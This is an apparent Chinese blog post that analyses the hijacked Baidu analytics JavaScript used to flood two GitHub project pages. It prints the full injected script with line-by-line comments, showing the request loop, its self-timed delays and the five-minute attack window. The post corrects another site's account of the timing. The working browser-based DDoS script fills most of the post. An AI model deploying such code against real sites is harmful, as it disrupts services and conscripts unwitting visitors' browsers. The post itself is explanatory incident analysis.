百度统计js被劫持用来DDOS Github的JS注释

时间:2021-11-02 21:48:45

前几天在乌云看见了百度统计js被劫持用来DDOS Github,就想看看执行的核心JS是怎么样请求的。

就分析了下JS的执行,发现乌云解析的地方说错了。

百度统计js被劫持用来DDOS Github的JS注释

文章里面说。大概功能就是关闭缓存后每隔2秒加载一次。

我看了下代码的意思是:

第一次请求,延迟2秒钟请求。

然后,以后的每次请求都以请求开始跟请求结束(请求时间差)作为延时再进行请求。

从第一次执行那段JS的时间内连续五分钟内,就是请求(Attack)时间只有五分钟。

你访问网站速度越快,请求越多。所以github弄个alert()让你的浏览器暂停下来。

以下为JS的详解(JS很烂,求板砖):

 1 document.write("<script src='http://libs.baidu.com/jquery/2.0.0/jquery.min.js'>\x3c/script>");    //加载jQuery
2 !window.jQuery && document.write("<script src='http://code.jquery.com/jquery-latest.js'>\x3c/script>"); //判断windows.jQuery有没有被定义,没有就再加载JQuery
3 startime = (new Date).getTime(); //获取当前时间戳,毫秒(最初执行时间)
4 var count = 0; //总请求次数
5
6 function unixtime() { //获取一个时间戳
7 var a = new Date;
8 return Date.UTC(a.getFullYear(), a.getMonth(), a.getDay(), a.getHours(), a.getMinutes(), a.getSeconds()) / 1E3 //1e3=1000
9 }
10
11 url_array = ["https://github.com/greatfire/", "https://github.com/cn-nytimes/"]; //定义要请求的URL
12 NUM = url_array.length; // 获取URL数组长度,两个URL
13
14 function r_send2() {
15 var a = unixtime() % NUM; //这里是随机请求URL,去时间戳整除的余去进行请求不同的URL,这样写是不是很蛋疼
16 get(url_array[a]) //带入URL进入GET函数
17 }
18
19 function get(a) { //定义get函数,功能就是请求URL。用的jQuery.ajax()方法
20 var b; //请求时间差
21 $.ajax({
22 url: a, //请求的URL
23 dataType: "script", //预期返回的数据类型, 返回纯文本 JavaScript 代码,并且会执行JS。不会自动缓存结果。除非设置了 "cache" 参数。
24 timeout: 1E4, //1e4=10000,设置请求超时时间
25 cache: !0, //dataType 为 script 和 jsonp 时默认为 false。设置为 false 将不缓存此页面。所以这里会缓存页面。
26 beforeSend: function() { //发送请求前可修改 XMLHttpRequest 对象的函数
27 requestTime = (new Date).getTime() //获取当前时间戳,毫秒(请求开始的时间)
28 },
29 complete: function() { //请求完成后回调函数
30 responseTime = (new Date).getTime(); //获取当前时间戳,毫秒(请求完成的时间)
31 b = Math.floor(responseTime - requestTime); //请求时间差,网络响应慢后面就请求慢了~
32 3E5 > responseTime - startime && (r_send(b), count += 1) //3e5=300000,请求时间减去最开始获取到的时间小于300S(这里就是只请求五分钟),然后再执行r_send(b),count++
33 }
34 })
35 }
36
37 function r_send(a) {
38 setTimeout("r_send2()", a) //等待a毫秒以后执行r_send2()
39 }
40 setTimeout("r_send2()", 2E3); //2e3=2000; 等待2000毫秒以后执行r_send2(),setTimeout() 只执行code一次,也就是第一次执行的函数
41 // PS: r_send2() -->get() --> r_send() -->r_send2()-->loop
42 // PS: 并不是每两秒钟执行一次请求